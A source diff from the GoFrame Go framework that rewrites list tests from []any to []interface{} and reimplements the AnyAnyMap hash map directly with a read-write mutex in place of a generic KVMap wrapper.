 		l.PushBack(3)
 		l.InsertAfter(new(Element), 1)
-		checkList(t, l, []any{1, 2, 3})
+		checkList(t, l, []interface{}{1, 2, 3})
 	})
 }
 
@@ -421,12 +421,12 @@ func TestMoveUnknownMark(t *testing.T) {
 		e2 := l2.PushBack(2)
 
 		l1.MoveAfter(e1, e2)
-		checkList(t, l1, []any{1})
-		checkList(t, l2, []any{2})
+		checkList(t, l1, []interface{}{1})
+		checkList(t, l2, []interface{}{2})
 
 		l1.MoveBefore(e1, e2)
-		checkList(t, l1, []any{1})
-		checkList(t, l2, []any{2})
+		checkList(t, l1, []interface{}{1})
+		checkList(t, l2, []interface{}{2})
 	})
 }
 
@@ -435,58 +435,58 @@ func TestList_RemoveAll(t *testing.T) {
 		l := New()
 		l.PushBack(1)
 		l.RemoveAll()
-		checkList(t, l, []any{})
+		checkList(t, l, []interface{}{})
 		l.PushBack(2)
-		checkList(t, l, []any{2})
+		checkList(t, l, []interface{}{2})
 	})
 }
 
 func TestList_PushFronts(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2}
+		a1 := []interface{}{1, 2}
 		l.PushFronts(a1)
-		checkList(t, l, []any{2, 1})
-		a1 = []any{3, 4, 5}
+		checkList(t, l, []interface{}{2, 1})
+		a1 = []interface{}{3, 4, 5}
 		l.PushFronts(a1)
-		checkList(t, l, []any{5, 4, 3, 2, 1})
+		checkList(t, l, []interface{}{5, 4, 3, 2, 1})
 	})
 }
 
 func TestList_PushBacks(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2}
+		a1 := []interface{}{1, 2}
 		l.PushBacks(a1)
-		checkList(t, l, []any{1, 2})
-		a1 = []any{3, 4, 5}
+		checkList(t, l, []interface{}{1, 2})
+		a1 = []interface{}{3, 4, 5}
 		l.PushBacks(a1)
-		checkList(t, l, []any{1, 2, 3, 4, 5})
+		checkList(t, l, []interface{}{1, 2, 3, 4, 5})
 	})
 }
 
 func TestList_PopBacks(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
-		a2 := []any{"a", "c", "b", "e"}
+		a1 := []interface{}{1, 2, 3, 4}
+		a2 := []interface{}{"a", "c", "b", "e"}
 		l.PushFronts(a1)
 		i1 := l.PopBacks(2)
-		t.Assert(i1, []any{1, 2})
+		t.Assert(i1, []interface{}{1, 2})
 
 		l.PushBacks(a2) // 4.3,a,c,b,e
 		i1 = l.PopBacks(3)
-		t.Assert(i1, []any{"e", "b", "c"})
+		t.Assert(i1, []interface{}{"e", "b", "c"})
 	})
 }
 
 func TestList_PopFronts(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		i1 := l.PopFronts(2)
-		t.Assert(i1, []any{4, 3})
+		t.Assert(i1, []interface{}{4, 3})
 		t.Assert(l.Len(), 2)
 	})
 }
@@ -494,10 +494,10 @@ func TestList_PopFronts(t *testing.T) {
 func TestList_PopBackAll(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		i1 := l.PopBackAll()
-		t.Assert(i1, []any{1, 2, 3, 4})
+		t.Assert(i1, []interface{}{1, 2, 3, 4})
 		t.Assert(l.Len(), 0)
 	})
 }
@@ -505,10 +505,10 @@ func TestList_PopBackAll(t *testing.T) {
 func TestList_PopFrontAll(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		i1 := l.PopFrontAll()
-		t.Assert(i1, []any{4, 3, 2, 1})
+		t.Assert(i1, []interface{}{4, 3, 2, 1})
 		t.Assert(l.Len(), 0)
 	})
 }
@@ -516,10 +516,10 @@ func TestList_PopFrontAll(t *testing.T) {
 func TestList_FrontAll(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		i1 := l.FrontAll()
-		t.Assert(i1, []any{4, 3, 2, 1})
+		t.Assert(i1, []interface{}{4, 3, 2, 1})
 		t.Assert(l.Len(), 4)
 	})
 }
@@ -527,10 +527,10 @@ func TestList_FrontAll(t *testing.T) {
 func TestList_BackAll(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		i1 := l.BackAll()
-		t.Assert(i1, []any{1, 2, 3, 4})
+		t.Assert(i1, []interface{}{1, 2, 3, 4})
 		t.Assert(l.Len(), 4)
 	})
 }
@@ -539,7 +539,7 @@ func TestList_FrontValue(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
 		l2 := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		i1 := l.FrontValue()
 		t.Assert(gconv.Int(i1), 4)
@@ -554,7 +554,7 @@ func TestList_BackValue(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
 		l2 := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		i1 := l.BackValue()
 		t.Assert(gconv.Int(i1), 1)
@@ -568,7 +568,7 @@ func TestList_BackValue(t *testing.T) {
 func TestList_Back(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		e1 := l.Back()
 		t.Assert(e1.Value, 1)
@@ -579,7 +579,7 @@ func TestList_Back(t *testing.T) {
 func TestList_Size(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		t.Assert(l.Size(), 4)
 		l.PopFront()
@@ -590,7 +590,7 @@ func TestList_Size(t *testing.T) {
 func TestList_Removes(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		e1 := l.Back()
 		l.Removes([]*Element{e1})
@@ -599,25 +599,25 @@ func TestList_Removes(t *testing.T) {
 		e2 := l.Back()
 		l.Removes([]*Element{e2})
 		t.Assert(l.Len(), 2)
-		checkList(t, l, []any{4, 3})
+		checkList(t, l, []interface{}{4, 3})
 	})
 }
 
 func TestList_Pop(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		l := NewFrom([]any{1, 2, 3, 4, 5, 6, 7, 8, 9})
+		l := NewFrom([]interface{}{1, 2, 3, 4, 5, 6, 7, 8, 9})
 
 		t.Assert(l.PopBack(), 9)
-		t.Assert(l.PopBacks(2), []any{8, 7})
+		t.Assert(l.PopBacks(2), []interface{}{8, 7})
 		t.Assert(l.PopFront(), 1)
-		t.Assert(l.PopFronts(2), []any{2, 3})
+		t.Assert(l.PopFronts(2), []interface{}{2, 3})
 	})
 }
 
 func TestList_Clear(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		l.Clear()
 		t.Assert(l.Len(), 0)
@@ -627,22 +627,22 @@ func TestList_Clear(t *testing.T) {
 func TestList_IteratorAsc(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 5, 6, 3, 4}
+		a1 := []interface{}{1, 2, 5, 6, 3, 4}
 		l.PushFronts(a1)
 		e1 := l.Back()
 		fun1 := func(e *Element) bool {
 			return gconv.Int(e1.Value) > 2
 		}
-		checkList(t, l, []any{4, 3, 6, 5, 2, 1})
+		checkList(t, l, []interface{}{4, 3, 6, 5, 2, 1})
 		l.IteratorAsc(fun1)
-		checkList(t, l, []any{4, 3, 6, 5, 2, 1})
+		checkList(t, l, []interface{}{4, 3, 6, 5, 2, 1})
 	})
 }
 
 func TestList_IteratorDesc(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{1, 2, 3, 4}
+		a1 := []interface{}{1, 2, 3, 4}
 		l.PushFronts(a1)
 		e1 := l.Back()
 		fun1 := func(e *Element) bool {
@@ -650,28 +650,28 @@ func TestList_IteratorDesc(t *testing.T) {
 		}
 		l.IteratorDesc(fun1)
 		t.Assert(l.Len(), 4)
-		checkList(t, l, []any{4, 3, 2, 1})
+		checkList(t, l, []interface{}{4, 3, 2, 1})
 	})
 }
 
 func TestList_Iterator(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		l := New()
-		a1 := []any{"a", "b", "c", "d", "e"}
+		a1 := []interface{}{"a", "b", "c", "d", "e"}
 		l.PushFronts(a1)
 		e1 := l.Back()
 		fun1 := func(e *Element) bool {
 			return gconv.String(e1.Value) > "c"
 		}
-		checkList(t, l, []any{"e", "d", "c", "b", "a"})
+		checkList(t, l, []interface{}{"e", "d", "c", "b", "a"})
 		l.Iterator(fun1)
-		checkList(t, l, []any{"e", "d", "c", "b", "a"})
+		checkList(t, l, []interface{}{"e", "d", "c", "b", "a"})
 	})
 }
 
 func TestList_Join(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		l := NewFrom([]any{1, 2, "a", `"b"`, `\c`})
+		l := NewFrom([]interface{}{1, 2, "a", `"b"`, `\c`})
 		t.Assert(l.Join(","), `1,2,a,"b",\c`)
 		t.Assert(l.Join("."), `1.2.a."b".\c`)
 	})
@@ -679,7 +679,7 @@ func TestList_Join(t *testing.T) {
 
 func TestList_String(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		l := NewFrom([]any{1, 2, "a", `"b"`, `\c`})
+		l := NewFrom([]interface{}{1, 2, "a", `"b"`, `\c`})
 		t.Assert(l.String(), `[1,2,a,"b",\c]`)
 	})
 }
@@ -687,7 +687,7 @@ func TestList_String(t *testing.T) {
 func TestList_Json(t *testing.T) {
 	// Marshal
 	gtest.C(t, func(t *gtest.T) {
-		a := []any{"a", "b", "c"}
+		a := []interface{}{"a", "b", "c"}
 		l := New()
 		l.PushBacks(a)
 		b1, err1 := json.Marshal(l)
@@ -697,7 +697,7 @@ func TestList_Json(t *testing.T) {
 	})
 	// Unmarshal
 	gtest.C(t, func(t *gtest.T) {
-		a := []any{"a", "b", "c"}
+		a := []interface{}{"a", "b", "c"}
 		l := New()
 		b, err := json.Marshal(a)
 		t.AssertNil(err)
@@ -708,7 +708,7 @@ func TestList_Json(t *testing.T) {
 	})
 	gtest.C(t, func(t *gtest.T) {
 		var l List
-		a := []any{"a", "b", "c"}
+		a := []interface{}{"a", "b", "c"}
 		b, err := json.Marshal(a)
 		t.AssertNil(err)
 
@@ -726,30 +726,30 @@ func TestList_UnmarshalValue(t *testing.T) {
 	// JSON
 	gtest.C(t, func(t *gtest.T) {
 		var tlist *TList
-		err := gconv.Struct(map[string]any{
+		err := gconv.Struct(map[string]interface{}{
 			"name": "john",
 			"list": []byte(`[1,2,3]`),
 		}, &tlist)
 		t.AssertNil(err)
 		t.Assert(tlist.Name, "john")
-		t.Assert(tlist.List.FrontAll(), []any{1, 2, 3})
+		t.Assert(tlist.List.FrontAll(), []interface{}{1, 2, 3})
 	})
 	// Map
 	gtest.C(t, func(t *gtest.T) {
 		var tlist *TList
-		err := gconv.Struct(map[string]any{
+		err := gconv.Struct(map[string]interface{}{
 			"name": "john",
-			"list": []any{1, 2, 3},
+			"list": []interface{}{1, 2, 3},
 		}, &tlist)
 		t.AssertNil(err)
 		t.Assert(tlist.Name, "john")
-		t.Assert(tlist.List.FrontAll(), []any{1, 2, 3})
+		t.Assert(tlist.List.FrontAll(), []interface{}{1, 2, 3})
 	})
 }
 
 func TestList_DeepCopy(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		l := NewFrom([]any{1, 2, "a", `"b"`, `\c`})
+		l := NewFrom([]interface{}{1, 2, "a", `"b"`, `\c`})
 		copyList := l.DeepCopy()
 		cl := copyList.(*List)
 		cl.PopBack()

container/gmap/gmap.go

@@ -1,7 +1,7 @@
 // Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
 //
 // This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
+// If a copy of the MIT was not distributed with gm file,
 // You can obtain one at https://github.com/gogf/gf.
 
 // Package gmap provides most commonly used map container which also support concurrent-safe/unsafe switch feature.
@@ -24,7 +24,7 @@ func New(safe ...bool) *Map {
 // there might be some concurrent-safe issues when changing the map outside.
 // The parameter `safe` is used to specify whether using tree in concurrent-safety,
 // which is false in default.
-func NewFrom(data map[any]any, safe ...bool) *Map {
+func NewFrom(data map[interface{}]interface{}, safe ...bool) *Map {
 	return NewAnyAnyMapFrom(data, safe...)
 }
 
@@ -40,6 +40,6 @@ func NewHashMap(safe ...bool) *Map {
 // there might be some concurrent-safe issues when changing the map outside.
 // The parameter `safe` is used to specify whether using tree in concurrent-safety,
 // which is false in default.
-func NewHashMapFrom(data map[any]any, safe ...bool) *Map {
+func NewHashMapFrom(data map[interface{}]interface{}, safe ...bool) *Map {
 	return NewAnyAnyMapFrom(data, safe...)
 }

container/gmap/gmap_hash_any_any_map.go

@@ -1,149 +1,251 @@
 // Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
 //
 // This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
+// If a copy of the MIT was not distributed with gm file,
 // You can obtain one at https://github.com/gogf/gf.
 
 package gmap
 
 import (
-	"sync"
+	"reflect"
 
 	"github.com/gogf/gf/v2/container/gvar"
+	"github.com/gogf/gf/v2/internal/deepcopy"
+	"github.com/gogf/gf/v2/internal/empty"
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
+	"github.com/gogf/gf/v2/util/gconv"
 )
 
-// AnyAnyMap wraps map type `map[any]any` and provides more map features.
+// AnyAnyMap wraps map type `map[interface{}]interface{}` and provides more map features.
 type AnyAnyMap struct {
-	*KVMap[any, any]
-	once sync.Once
+	mu   rwmutex.RWMutex
+	data map[interface{}]interface{}
 }
 
 // NewAnyAnyMap creates and returns an empty hash map.
 // The parameter `safe` is used to specify whether using map in concurrent-safety,
 // which is false in default.
 func NewAnyAnyMap(safe ...bool) *AnyAnyMap {
-	m := &AnyAnyMap{
-		KVMap: NewKVMap[any, any](safe...),
+	return &AnyAnyMap{
+		mu:   rwmutex.Create(safe...),
+		data: make(map[interface{}]interface{}),
 	}
-	return m
 }
 
 // NewAnyAnyMapFrom creates and returns a hash map from given map `data`.
 // Note that, the param `data` map will be set as the underlying data map(no deep copy),
 // there might be some concurrent-safe issues when changing the map outside.
-func NewAnyAnyMapFrom(data map[any]any, safe ...bool) *AnyAnyMap {
-	m := &AnyAnyMap{
-		KVMap: NewKVMapFrom(data, safe...),
+func NewAnyAnyMapFrom(data map[interface{}]interface{}, safe ...bool) *AnyAnyMap {
+	return &AnyAnyMap{
+		mu:   rwmutex.Create(safe...),
+		data: data,
 	}
-	return m
-}
-
-// lazyInit lazily initializes the map.
-func (m *AnyAnyMap) lazyInit() {
-	m.once.Do(func() {
-		if m.KVMap == nil {
-			m.KVMap = NewKVMap[any, any](false)
-		}
-	})
 }
 
 // Iterator iterates the hash map readonly with custom callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
-func (m *AnyAnyMap) Iterator(f func(k any, v any) bool) {
-	m.lazyInit()
-	m.KVMap.Iterator(f)
+func (m *AnyAnyMap) Iterator(f func(k interface{}, v interface{}) bool) {
+	for k, v := range m.Map() {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // Clone returns a new hash map with copy of current map data.
 func (m *AnyAnyMap) Clone(safe ...bool) *AnyAnyMap {
-	m.lazyInit()
-	return NewAnyAnyMapFrom(m.MapCopy(), safe...)
+	return NewFrom(m.MapCopy(), safe...)
 }
 
 // Map returns the underlying data map.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
-func (m *AnyAnyMap) Map() map[any]any {
-	m.lazyInit()
-	return m.KVMap.Map()
+func (m *AnyAnyMap) Map() map[interface{}]interface{} {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	if !m.mu.IsSafe() {
+		return m.data
+	}
+	data := make(map[interface{}]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
 // MapCopy returns a shallow copy of the underlying data of the hash map.
-func (m *AnyAnyMap) MapCopy() map[any]any {
-	m.lazyInit()
-	return m.KVMap.MapCopy()
+func (m *AnyAnyMap) MapCopy() map[interface{}]interface{} {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[interface{}]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
-// MapStrAny returns a copy of the underlying data of the map as map[string]any.
-func (m *AnyAnyMap) MapStrAny() map[string]any {
-	m.lazyInit()
-	return m.KVMap.MapStrAny()
+// MapStrAny returns a copy of the underlying data of the map as map[string]interface{}.
+func (m *AnyAnyMap) MapStrAny() map[string]interface{} {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[string]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[gconv.String(k)] = v
+	}
+	return data
 }
 
 // FilterEmpty deletes all key-value pair of which the value is empty.
 // Values like: 0, nil, false, "", len(slice/map/chan) == 0 are considered empty.
 func (m *AnyAnyMap) FilterEmpty() {
-	m.lazyInit()
-	m.KVMap.FilterEmpty()
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for k, v := range m.data {
+		if empty.IsEmpty(v) {
+			delete(m.data, k)
+		}
+	}
 }
 
 // FilterNil deletes all key-value pair of which the value is nil.
 func (m *AnyAnyMap) FilterNil() {
-	m.lazyInit()
-	m.KVMap.FilterNil()
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for k, v := range m.data {
+		if empty.IsNil(v) {
+			delete(m.data, k)
+		}
+	}
 }
 
 // Set sets key-value to the hash map.
-func (m *AnyAnyMap) Set(key any, value any) {
-	m.lazyInit()
-	m.KVMap.Set(key, value)
+func (m *AnyAnyMap) Set(key interface{}, value interface{}) {
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = make(map[interface{}]interface{})
+	}
+	m.data[key] = value
+	m.mu.Unlock()
 }
 
 // Sets batch sets key-values to the hash map.
-func (m *AnyAnyMap) Sets(data map[any]any) {
-	m.lazyInit()
-	m.KVMap.Sets(data)
+func (m *AnyAnyMap) Sets(data map[interface{}]interface{}) {
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = data
+	} else {
+		for k, v := range data {
+			m.data[k] = v
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Search searches the map with given `key`.
 // Second return parameter `found` is true if key was found, otherwise false.
-func (m *AnyAnyMap) Search(key any) (value any, found bool) {
-	m.lazyInit()
-	return m.KVMap.Search(key)
+func (m *AnyAnyMap) Search(key interface{}) (value interface{}, found bool) {
+	m.mu.RLock()
+	if m.data != nil {
+		value, found = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Get returns the value by given `key`.
-func (m *AnyAnyMap) Get(key any) (value any) {
-	m.lazyInit()
-	return m.KVMap.Get(key)
+func (m *AnyAnyMap) Get(key interface{}) (value interface{}) {
+	m.mu.RLock()
+	if m.data != nil {
+		value = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Pop retrieves and deletes an item from the map.
-func (m *AnyAnyMap) Pop() (key, value any) {
-	m.lazyInit()
-	return m.KVMap.Pop()
+func (m *AnyAnyMap) Pop() (key, value interface{}) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for key, value = range m.data {
+		delete(m.data, key)
+		return
+	}
+	return
 }
 
 // Pops retrieves and deletes `size` items from the map.
 // It returns all items if size == -1.
-func (m *AnyAnyMap) Pops(size int) map[any]any {
-	m.lazyInit()
-	return m.KVMap.Pops(size)
+func (m *AnyAnyMap) Pops(size int) map[interface{}]interface{} {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if size > len(m.data) || size == -1 {
+		size = len(m.data)
+	}
+	if size == 0 {
+		return nil
+	}
+	var (
+		index  = 0
+		newMap = make(map[interface{}]interface{}, size)
+	)
+	for k, v := range m.data {
+		delete(m.data, k)
+		newMap[k] = v
+		index++
+		if index == size {
+			break
+		}
+	}
+	return newMap
+}
+
+// doSetWithLockCheck checks whether value of the key exists with mutex.Lock,
+// if not exists, set value to the map with given `key`,
+// or else just return the existing value.
+//
+// When setting value, if `value` is type of `func() interface {}`,
+// it will be executed with mutex.Lock of the hash map,
+// and its return value will be set to the map with `key`.
+//
+// It returns value with given `key`.
+func (m *AnyAnyMap) doSetWithLockCheck(key interface{}, value interface{}) interface{} {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[interface{}]interface{})
+	}
+	if v, ok := m.data[key]; ok {
+		return v
+	}
+	if f, ok := value.(func() interface{}); ok {
+		value = f()
+	}
+	if value != nil {
+		m.data[key] = value
+	}
+	return value
 }
 
 // GetOrSet returns the value by key,
 // or sets value with given `value` if it does not exist and then returns this value.
-func (m *AnyAnyMap) GetOrSet(key any, value any) any {
-	m.lazyInit()
-	return m.KVMap.GetOrSet(key, value)
+func (m *AnyAnyMap) GetOrSet(key interface{}, value interface{}) interface{} {
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, value)
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFunc returns the value by key,
 // or sets value with returned value of callback function `f` if it does not exist
 // and then returns this value.
-func (m *AnyAnyMap) GetOrSetFunc(key any, f func() any) any {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFunc(key, f)
+func (m *AnyAnyMap) GetOrSetFunc(key interface{}, f func() interface{}) interface{} {
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, f())
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFuncLock returns the value by key,
@@ -152,51 +254,56 @@ func (m *AnyAnyMap) GetOrSetFunc(key any, f func() any) any {
 //
 // GetOrSetFuncLock differs with GetOrSetFunc function is that it executes function `f`
 // with mutex.Lock of the hash map.
-func (m *AnyAnyMap) GetOrSetFuncLock(key any, f func() any) any {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFuncLock(key, f)
+func (m *AnyAnyMap) GetOrSetFuncLock(key interface{}, f func() interface{}) interface{} {
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, f)
+	} else {
+		return v
+	}
 }
 
 // GetVar returns a Var with the value by given `key`.
 // The returned Var is un-concurrent safe.
-func (m *AnyAnyMap) GetVar(key any) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVar(key)
+func (m *AnyAnyMap) GetVar(key interface{}) *gvar.Var {
+	return gvar.New(m.Get(key))
 }
 
 // GetVarOrSet returns a Var with result from GetOrSet.
 // The returned Var is un-concurrent safe.
-func (m *AnyAnyMap) GetVarOrSet(key any, value any) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVarOrSet(key, value)
+func (m *AnyAnyMap) GetVarOrSet(key interface{}, value interface{}) *gvar.Var {
+	return gvar.New(m.GetOrSet(key, value))
 }
 
 // GetVarOrSetFunc returns a Var with result from GetOrSetFunc.
 // The returned Var is un-concurrent safe.
-func (m *AnyAnyMap) GetVarOrSetFunc(key any, f func() any) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVarOrSetFunc(key, f)
+func (m *AnyAnyMap) GetVarOrSetFunc(key interface{}, f func() interface{}) *gvar.Var {
+	return gvar.New(m.GetOrSetFunc(key, f))
 }
 
 // GetVarOrSetFuncLock returns a Var with result from GetOrSetFuncLock.
 // The returned Var is un-concurrent safe.
-func (m *AnyAnyMap) GetVarOrSetFuncLock(key any, f func() any) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVarOrSetFuncLock(key, f)
+func (m *AnyAnyMap) GetVarOrSetFuncLock(key interface{}, f func() interface{}) *gvar.Var {
+	return gvar.New(m.GetOrSetFuncLock(key, f))
 }
 
 // SetIfNotExist sets `value` to the map if the `key` does not exist, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
-func (m *AnyAnyMap) SetIfNotExist(key any, value any) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExist(key, value)
+func (m *AnyAnyMap) SetIfNotExist(key interface{}, value interface{}) bool {
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, value)
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFunc sets value with return value of callback function `f`, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
-func (m *AnyAnyMap) SetIfNotExistFunc(key any, f func() any) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFunc(key, f)
+func (m *AnyAnyMap) SetIfNotExistFunc(key interface{}, f func() interface{}) bool {
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, f())
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFuncLock sets value with return value of callback function `f`, and then returns true.
@@ -204,84 +311,127 @@ func (m *AnyAnyMap) SetIfNotExistFunc(key any, f func() any) bool {
 //
 // SetIfNotExistFuncLock differs with SetIfNotExistFunc function is that
 // it executes function `f` with mutex.Lock of the hash map.
-func (m *AnyAnyMap) SetIfNotExistFuncLock(key any, f func() any) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFuncLock(key, f)
+func (m *AnyAnyMap) SetIfNotExistFuncLock(key interface{}, f func() interface{}) bool {
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, f)
+		return true
+	}
+	return false
 }
 
 // Remove deletes value from map by given `key`, and return this deleted value.
-func (m *AnyAnyMap) Remove(key any) (value any) {
-	m.lazyInit()
-	return m.KVMap.Remove(key)
+func (m *AnyAnyMap) Remove(key interface{}) (value interface{}) {
+	m.mu.Lock()
+	if m.data != nil {
+		var ok bool
+		if value, ok = m.data[key]; ok {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
+	return
 }
 
 // Removes batch deletes values of the map by keys.
-func (m *AnyAnyMap) Removes(keys []any) {
-	m.lazyInit()
-	m.KVMap.Removes(keys)
+func (m *AnyAnyMap) Removes(keys []interface{}) {
+	m.mu.Lock()
+	if m.data != nil {
+		for _, key := range keys {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Keys returns all keys of the map as a slice.
-func (m *AnyAnyMap) Keys() []any {
-	m.lazyInit()
-	return m.KVMap.Keys()
+func (m *AnyAnyMap) Keys() []interface{} {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	var (
+		keys  = make([]interface{}, len(m.data))
+		index = 0
+	)
+	for key := range m.data {
+		keys[index] = key
+		index++
+	}
+	return keys
 }
 
 // Values returns all values of the map as a slice.
-func (m *AnyAnyMap) Values() []any {
-	m.lazyInit()
-	return m.KVMap.Values()
+func (m *AnyAnyMap) Values() []interface{} {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	var (
+		values = make([]interface{}, len(m.data))
+		index  = 0
+	)
+	for _, value := range m.data {
+		values[index] = value
+		index++
+	}
+	return values
 }
 
 // Contains checks whether a key exists.
 // It returns true if the `key` exists, or else false.
-func (m *AnyAnyMap) Contains(key any) bool {
-	m.lazyInit()
-	return m.KVMap.Contains(key)
+func (m *AnyAnyMap) Contains(key interface{}) bool {
+	var ok bool
+	m.mu.RLock()
+	if m.data != nil {
+		_, ok = m.data[key]
+	}
+	m.mu.RUnlock()
+	return ok
 }
 
 // Size returns the size of the map.
 func (m *AnyAnyMap) Size() int {
-	m.lazyInit()
-	return m.KVMap.Size()
+	m.mu.RLock()
+	length := len(m.data)
+	m.mu.RUnlock()
+	return length
 }
 
 // IsEmpty checks whether the map is empty.
 // It returns true if map is empty, or else false.
 func (m *AnyAnyMap) IsEmpty() bool {
-	m.lazyInit()
-	return m.KVMap.IsEmpty()
+	return m.Size() == 0
 }
 
 // Clear deletes all data of the map, it will remake a new underlying data map.
 func (m *AnyAnyMap) Clear() {
-	m.lazyInit()
-	m.KVMap.Clear()
+	m.mu.Lock()
+	m.data = make(map[interface{}]interface{})
+	m.mu.Unlock()
 }
 
 // Replace the data of the map with given `data`.
-func (m *AnyAnyMap) Replace(data map[any]any) {
-	m.lazyInit()
-	m.KVMap.Replace(data)
+func (m *AnyAnyMap) Replace(data map[interface{}]interface{}) {
+	m.mu.Lock()
+	m.data = data
+	m.mu.Unlock()
 }
 
 // LockFunc locks writing with given callback function `f` within RWMutex.Lock.
-func (m *AnyAnyMap) LockFunc(f func(m map[any]any)) {
-	m.lazyInit()
-	m.KVMap.LockFunc(f)
+func (m *AnyAnyMap) LockFunc(f func(m map[interface{}]interface{})) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	f(m.data)
 }
 
 // RLockFunc locks reading with given callback function `f` within RWMutex.RLock.
-func (m *AnyAnyMap) RLockFunc(f func(m map[any]any)) {
-	m.lazyInit()
-	m.KVMap.RLockFunc(f)
+func (m *AnyAnyMap) RLockFunc(f func(m map[interface{}]interface{})) {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	f(m.data)
 }
 
 // Flip exchanges key-value of the map to value-key.
